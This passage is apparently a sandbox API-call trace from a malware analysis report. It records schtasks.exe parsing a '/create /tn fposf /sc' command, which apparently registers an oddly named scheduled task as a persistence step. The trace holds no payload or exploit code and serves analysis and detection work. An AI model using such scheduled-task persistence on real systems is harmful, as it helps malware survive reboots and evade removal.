"c:\\windows\\system32\\sspicli.dll") Region: id = 3962 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 190 os_tid = 0xd00 [0154.958] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x23f840 | out: lpSystemTimeAsFileTime=0x23f840*(dwLowDateTime=0x28d1fa80, dwHighDateTime=0x1d8a92a)) [0154.958] GetCurrentProcessId () returned 0xcb0 [0154.958] GetCurrentThreadId () returned 0xd00 [0154.958] GetTickCount () returned 0x138b032 [0154.958] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x23f848 | out: lpPerformanceCount=0x23f848*=2063382182889) returned 1 [0154.959] GetModuleHandleW (lpModuleName=0x0) returned 0xffbf0000 [0154.959] __set_app_type (_Type=0x1) [0154.959] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffc1972c) returned 0x0 [0154.960] __wgetmainargs (in: _Argc=0xffc31240, _Argv=0xffc31250, _Env=0xffc31248, _DoWildCard=0, _StartInfo=0xffc3125c | out: _Argc=0xffc31240, _Argv=0xffc31250, _Env=0xffc31248) returned 0 [0154.961] _onexit (_Func=0xffc22ab0) returned 0xffc22ab0 [0154.961] _onexit (_Func=0xffc22ac4) returned 0xffc22ac4 [0154.961] _onexit (_Func=0xffc22afc) returned 0xffc22afc [0154.961] _onexit (_Func=0xffc22b58) returned 0xffc22b58 [0154.961] _onexit (_Func=0xffc22b80) returned 0xffc22b80 [0154.962] _onexit (_Func=0xffc22ba8) returned 0xffc22ba8 [0154.962] _onexit (_Func=0xffc22bd0) returned 0xffc22bd0 [0154.962] _onexit (_Func=0xffc22bf8) returned 0xffc22bf8 [0154.962] _onexit (_Func=0xffc22c20) returned 0xffc22c20 [0154.962] _onexit (_Func=0xffc22c48) returned 0xffc22c48 [0154.963] _onexit (_Func=0xffc22c70) returned 0xffc22c70 [0154.963] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0154.963] WinSqmIsOptedIn () returned 0x0 [0154.964] GetProcessHeap () returned 0x430000 [0154.964] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x18) returned 0x44b970 [0154.964] SetLastError (dwErrCode=0x0) [0154.964] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0154.964] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0154.964] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0154.964] VerifyVersionInfoW (in: lpVersionInformation=0x23f000, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x23f000) returned 1 [0154.965] GetProcessHeap () returned 0x430000 [0154.965] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x18) returned 0x44b990 [0154.965] lstrlenW (lpString="") returned 0 [0154.965] GetProcessHeap () returned 0x430000 [0154.965] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x2) returned 0x44b9b0 [0154.965] GetProcessHeap () returned 0x430000 [0154.965] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x445910 [0154.965] GetProcessHeap () returned 0x430000 [0154.965] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x18) returned 0x44b9d0 [0154.965] GetProcessHeap () returned 0x430000 [0154.965] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x445940 [0154.965] GetProcessHeap () returned 0x430000 [0154.965] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x445970 [0154.965] GetProcessHeap () returned 0x430000 [0154.965] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x4459a0 [0154.965] GetProcessHeap () returned 0x430000 [0154.965] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x4459d0 [0154.965] GetProcessHeap () returned 0x430000 [0154.965] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x18) returned 0x44b9f0 [0154.966] GetProcessHeap () returned 0x430000 [0154.966] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x445a00 [0154.966] GetProcessHeap () returned 0x430000 [0154.966] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x445a30 [0154.966] GetProcessHeap () returned 0x430000 [0154.966] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x445a60 [0154.966] GetProcessHeap () returned 0x430000 [0154.966] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x445a90 [0154.966] GetProcessHeap () returned 0x430000 [0154.966] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x18) returned 0x44ba10 [0154.966] GetProcessHeap () returned 0x430000 [0154.966] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x445ac0 [0154.966] GetProcessHeap () returned 0x430000 [0154.966] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x445af0 [0154.966] GetProcessHeap () returned 0x430000 [0154.966] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x445b20 [0154.966] GetProcessHeap () returned 0x430000 [0154.966] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x445b50 [0154.967] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0154.967] SetLastError (dwErrCode=0x0) [0154.967] GetProcessHeap () returned 0x430000 [0154.967] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x445b80 [0154.967] GetProcessHeap () returned 0x430000 [0154.967] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x445bb0 [0154.967] GetProcessHeap () returned 0x430000 [0154.967] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x445be0 [0154.967] GetProcessHeap () returned 0x430000 [0154.967] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x445c10 [0154.967] GetProcessHeap () returned 0x430000 [0154.967] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x445c40 [0154.967] GetProcessHeap () returned 0x430000 [0154.967] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x18) returned 0x44ba30 [0154.967] _memicmp (_Buf1=0x44ba30, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.968] GetProcessHeap () returned 0x430000 [0154.968] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x208) returned 0x44bbd0 [0154.968] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x44bbd0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0154.968] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0154.974] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0154.974] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0154.975] GetProcessHeap () returned 0x430000 [0154.975] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x74e) returned 0x44c180 [0154.975] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0154.975] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x44c180 | out: lpData=0x44c180) returned 1 [0154.975] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0154.975] VerQueryValueW (in: pBlock=0x44c180, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x23f0e8, puLen=0x23f150 | out: lplpBuffer=0x23f0e8*=0x44c51c, puLen=0x23f150) returned 1 [0154.979] _memicmp (_Buf1=0x44ba30, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.979] _vsnwprintf (in: _Buffer=0x44bbd0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x23f0c8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0154.979] VerQueryValueW (in: pBlock=0x44c180, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x23f158, puLen=0x23f148 | out: lplpBuffer=0x23f158*=0x44c348, puLen=0x23f148) returned 1 [0154.979] lstrlenW (lpString="schtasks.exe") returned 12 [0154.979] lstrlenW (lpString="schtasks.exe") returned 12 [0154.979] lstrlenW (lpString=".EXE") returned 4 [0154.979] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0154.980] lstrlenW (lpString="schtasks.exe") returned 12 [0154.980] lstrlenW (lpString=".EXE") returned 4 [0154.980] _memicmp (_Buf1=0x44ba30, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.980] lstrlenW (lpString="schtasks") returned 8 [0154.981] GetProcessHeap () returned 0x430000 [0154.981] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x445d30 [0154.981] GetProcessHeap () returned 0x430000 [0154.981] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x44ca90 [0154.981] GetProcessHeap () returned 0x430000 [0154.981] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x44cac0 [0154.981] GetProcessHeap () returned 0x430000 [0154.981] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x44caf0 [0154.981] GetProcessHeap () returned 0x430000 [0154.981] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x18) returned 0x44ba50 [0154.981] _memicmp (_Buf1=0x44ba50, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.981] GetProcessHeap () returned 0x430000 [0154.981] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0xa0) returned 0x44bfd0 [0154.981] GetProcessHeap () returned 0x430000 [0154.981] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x44cb20 [0154.981] GetProcessHeap () returned 0x430000 [0154.981] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x44cb50 [0154.981] GetProcessHeap () returned 0x430000 [0154.981] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x44cb80 [0154.981] GetProcessHeap () returned 0x430000 [0154.981] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x18) returned 0x44ba70 [0154.981] _memicmp (_Buf1=0x44ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.982] GetProcessHeap () returned 0x430000 [0154.982] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x200) returned 0x44d260 [0154.982] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x44d260, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0154.982] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0154.982] GetProcessHeap () returned 0x430000 [0154.982] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x30) returned 0x447a30 [0154.982] _vsnwprintf (in: _Buffer=0x44bfd0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x23f0c8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0154.982] GetProcessHeap () returned 0x430000 [0154.982] GetProcessHeap () returned 0x430000 [0154.982] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44c180) returned 1 [0154.982] GetProcessHeap () returned 0x430000 [0154.982] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44c180) returned 0x74e [0154.983] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44c180 | out: hHeap=0x430000) returned 1 [0154.983] SetLastError (dwErrCode=0x0) [0154.983] GetThreadLocale () returned 0x409 [0154.983] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0154.983] lstrlenW (lpString="?") returned 1 [0154.983] GetThreadLocale () returned 0x409 [0154.983] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0154.983] lstrlenW (lpString="create") returned 6 [0154.983] GetThreadLocale () returned 0x409 [0154.983] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0154.983] lstrlenW (lpString="delete") returned 6 [0154.983] GetThreadLocale () returned 0x409 [0154.984] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0154.984] lstrlenW (lpString="query") returned 5 [0154.984] GetThreadLocale () returned 0x409 [0154.984] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0154.984] lstrlenW (lpString="change") returned 6 [0154.984] GetThreadLocale () returned 0x409 [0154.984] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0154.984] lstrlenW (lpString="run") returned 3 [0154.984] GetThreadLocale () returned 0x409 [0154.984] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0154.984] lstrlenW (lpString="end") returned 3 [0154.984] GetThreadLocale () returned 0x409 [0154.984] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0154.984] lstrlenW (lpString="showsid") returned 7 [0154.984] GetThreadLocale () returned 0x409 [0154.984] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0154.984] SetLastError (dwErrCode=0x0) [0154.984] SetLastError (dwErrCode=0x0) [0154.984] lstrlenW (lpString="/create") returned 7 [0154.984] lstrlenW (lpString="-/") returned 2 [0154.984] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0154.984] lstrlenW (lpString="?") returned 1 [0154.984] lstrlenW (lpString="?") returned 1 [0154.984] GetProcessHeap () returned 0x430000 [0154.984] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x18) returned 0x44c180 [0154.984] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.984] GetProcessHeap () returned 0x430000 [0154.985] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0xa) returned 0x44c1a0 [0154.985] lstrlenW (lpString="create") returned 6 [0154.985] GetProcessHeap () returned 0x430000 [0154.985] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x18) returned 0x44c1c0 [0154.985] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.985] GetProcessHeap () returned 0x430000 [0154.985] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x14) returned 0x44c1e0 [0154.985] _vsnwprintf (in: _Buffer=0x44c1a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|?|") returned 3 [0154.985] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|create|") returned 8 [0154.985] lstrlenW (lpString="|?|") returned 3 [0154.985] lstrlenW (lpString="|create|") returned 8 [0154.985] SetLastError (dwErrCode=0x490) [0154.985] lstrlenW (lpString="create") returned 6 [0154.985] lstrlenW (lpString="create") returned 6 [0154.985] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.985] GetProcessHeap () returned 0x430000 [0154.985] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44c1a0) returned 1 [0154.985] GetProcessHeap () returned 0x430000 [0154.985] RtlReAllocateHeap (Heap=0x430000, Flags=0xc, Ptr=0x44c1a0, Size=0x14) returned 0x44c200 [0154.985] lstrlenW (lpString="create") returned 6 [0154.985] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.985] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|create|") returned 8 [0154.985] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|create|") returned 8 [0154.985] lstrlenW (lpString="|create|") returned 8 [0154.986] lstrlenW (lpString="|create|") returned 8 [0154.986] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0154.986] SetLastError (dwErrCode=0x0) [0154.986] SetLastError (dwErrCode=0x0) [0154.986] SetLastError (dwErrCode=0x0) [0154.986] lstrlenW (lpString="/tn") returned 3 [0154.986] lstrlenW (lpString="-/") returned 2 [0154.986] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0154.986] lstrlenW (lpString="?") returned 1 [0154.986] lstrlenW (lpString="?") returned 1 [0154.986] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.986] lstrlenW (lpString="tn") returned 2 [0154.986] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.986] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|?|") returned 3 [0154.986] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|tn|") returned 4 [0154.986] lstrlenW (lpString="|?|") returned 3 [0154.986] lstrlenW (lpString="|tn|") returned 4 [0154.986] SetLastError (dwErrCode=0x490) [0154.986] lstrlenW (lpString="create") returned 6 [0154.986] lstrlenW (lpString="create") returned 6 [0154.986] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.986] lstrlenW (lpString="tn") returned 2 [0154.986] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.986] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|create|") returned 8 [0154.986] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|tn|") returned 4 [0154.987] lstrlenW (lpString="|create|") returned 8 [0154.987] lstrlenW (lpString="|tn|") returned 4 [0154.987] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0154.987] SetLastError (dwErrCode=0x490) [0154.987] lstrlenW (lpString="delete") returned 6 [0154.987] lstrlenW (lpString="delete") returned 6 [0154.987] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.987] lstrlenW (lpString="tn") returned 2 [0154.987] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.987] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|delete|") returned 8 [0154.987] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|tn|") returned 4 [0154.987] lstrlenW (lpString="|delete|") returned 8 [0154.987] lstrlenW (lpString="|tn|") returned 4 [0154.987] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0154.987] SetLastError (dwErrCode=0x490) [0154.987] lstrlenW (lpString="query") returned 5 [0154.987] lstrlenW (lpString="query") returned 5 [0154.987] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.987] lstrlenW (lpString="tn") returned 2 [0154.987] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.987] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|query|") returned 7 [0154.987] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|tn|") returned 4 [0154.987] lstrlenW (lpString="|query|") returned 7 [0154.987] lstrlenW (lpString="|tn|") returned 4 [0154.987] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0154.987] SetLastError (dwErrCode=0x490) [0154.988] lstrlenW (lpString="change") returned 6 [0154.988] lstrlenW (lpString="change") returned 6 [0154.988] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.988] lstrlenW (lpString="tn") returned 2 [0154.988] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.988] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|change|") returned 8 [0154.988] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|tn|") returned 4 [0154.988] lstrlenW (lpString="|change|") returned 8 [0154.988] lstrlenW (lpString="|tn|") returned 4 [0154.988] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0154.988] SetLastError (dwErrCode=0x490) [0154.988] lstrlenW (lpString="run") returned 3 [0154.988] lstrlenW (lpString="run") returned 3 [0154.988] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.988] lstrlenW (lpString="tn") returned 2 [0154.988] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.988] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|run|") returned 5 [0154.988] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|tn|") returned 4 [0154.988] lstrlenW (lpString="|run|") returned 5 [0154.988] lstrlenW (lpString="|tn|") returned 4 [0154.988] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0154.988] SetLastError (dwErrCode=0x490) [0154.988] lstrlenW (lpString="end") returned 3 [0154.988] lstrlenW (lpString="end") returned 3 [0154.988] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.989] lstrlenW (lpString="tn") returned 2 [0154.989] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.989] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|end|") returned 5 [0154.989] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|tn|") returned 4 [0154.989] lstrlenW (lpString="|end|") returned 5 [0154.989] lstrlenW (lpString="|tn|") returned 4 [0154.989] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0154.989] SetLastError (dwErrCode=0x490) [0154.989] lstrlenW (lpString="showsid") returned 7 [0154.989] lstrlenW (lpString="showsid") returned 7 [0154.989] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.989] GetProcessHeap () returned 0x430000 [0154.989] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44c200) returned 1 [0154.989] GetProcessHeap () returned 0x430000 [0154.989] RtlReAllocateHeap (Heap=0x430000, Flags=0xc, Ptr=0x44c200, Size=0x16) returned 0x44c200 [0154.989] lstrlenW (lpString="tn") returned 2 [0154.989] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.989] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|showsid|") returned 9 [0154.989] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|tn|") returned 4 [0154.989] lstrlenW (lpString="|showsid|") returned 9 [0154.989] lstrlenW (lpString="|tn|") returned 4 [0154.989] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0154.989] SetLastError (dwErrCode=0x490) [0154.990] SetLastError (dwErrCode=0x490) [0154.990] SetLastError (dwErrCode=0x0) [0154.990] lstrlenW (lpString="/tn") returned 3 [0154.990] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0154.990] SetLastError (dwErrCode=0x490) [0154.990] SetLastError (dwErrCode=0x0) [0154.990] lstrlenW (lpString="/tn") returned 3 [0154.990] GetProcessHeap () returned 0x430000 [0154.990] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x8) returned 0x44c1a0 [0154.990] GetProcessHeap () returned 0x430000 [0154.990] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x44cbb0 [0154.990] SetLastError (dwErrCode=0x0) [0154.990] SetLastError (dwErrCode=0x0) [0154.990] lstrlenW (lpString="fposf") returned 5 [0154.990] lstrlenW (lpString="-/") returned 2 [0154.990] StrChrIW (lpStart="-/", wMatch=0x66) returned 0x0 [0154.990] SetLastError (dwErrCode=0x490) [0154.990] SetLastError (dwErrCode=0x490) [0154.990] SetLastError (dwErrCode=0x0) [0154.990] lstrlenW (lpString="fposf") returned 5 [0154.990] StrChrIW (lpStart="fposf", wMatch=0x3a) returned 0x0 [0154.990] SetLastError (dwErrCode=0x490) [0154.990] SetLastError (dwErrCode=0x0) [0154.990] lstrlenW (lpString="fposf") returned 5 [0154.990] GetProcessHeap () returned 0x430000 [0154.990] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0xc) returned 0x44d4a0 [0154.990] GetProcessHeap () returned 0x430000 [0154.990] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x44cbe0 [0154.991] SetLastError (dwErrCode=0x0) [0154.991] SetLastError (dwErrCode=0x0) [0154.991] lstrlenW (lpString="/sc") returned 3 [0154.991] lstrlenW (lpString="-/") returned 2 [0154.991] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0154.991] lstrlenW (lpString="?") returned 1 [0154.991] lstrlenW (lpString="?") returned 1 [0154.991] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.991] lstrlenW (lpString="sc") returned 2 [0154.991] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.991] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|?|") returned 3 [0154.991] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|sc|") returned 4 [0154.991] lstrlenW (lpString="|?|") returned 3 [0154.991] lstrlenW (lpString="|sc|") returned 4 [0154.991] SetLastError (dwErrCode=0x490) [0154.991] lstrlenW (lpString="create") returned 6 [0154.991] lstrlenW (lpString="create") returned 6 [0154.991] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.991] lstrlenW (lpString="sc") returned 2 [0154.991] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.991] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|create|") returned 8 [0154.991] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|sc|") returned 4 [0154.991] lstrlenW (lpString="|create|") returned 8 [0154.991] lstrlenW (lpString="|sc|") returned 4 [0154.991] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0154.991] SetLastError (dwErrCode=0x490) [0154.991] lstrlenW (lpString="delete") returned 6 [0154.992] lstrlenW (lpString="delete") returned 6 [0154.992] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.992] lstrlenW (lpString="sc") returned 2 [0154.992] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.992] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0d8 | out: 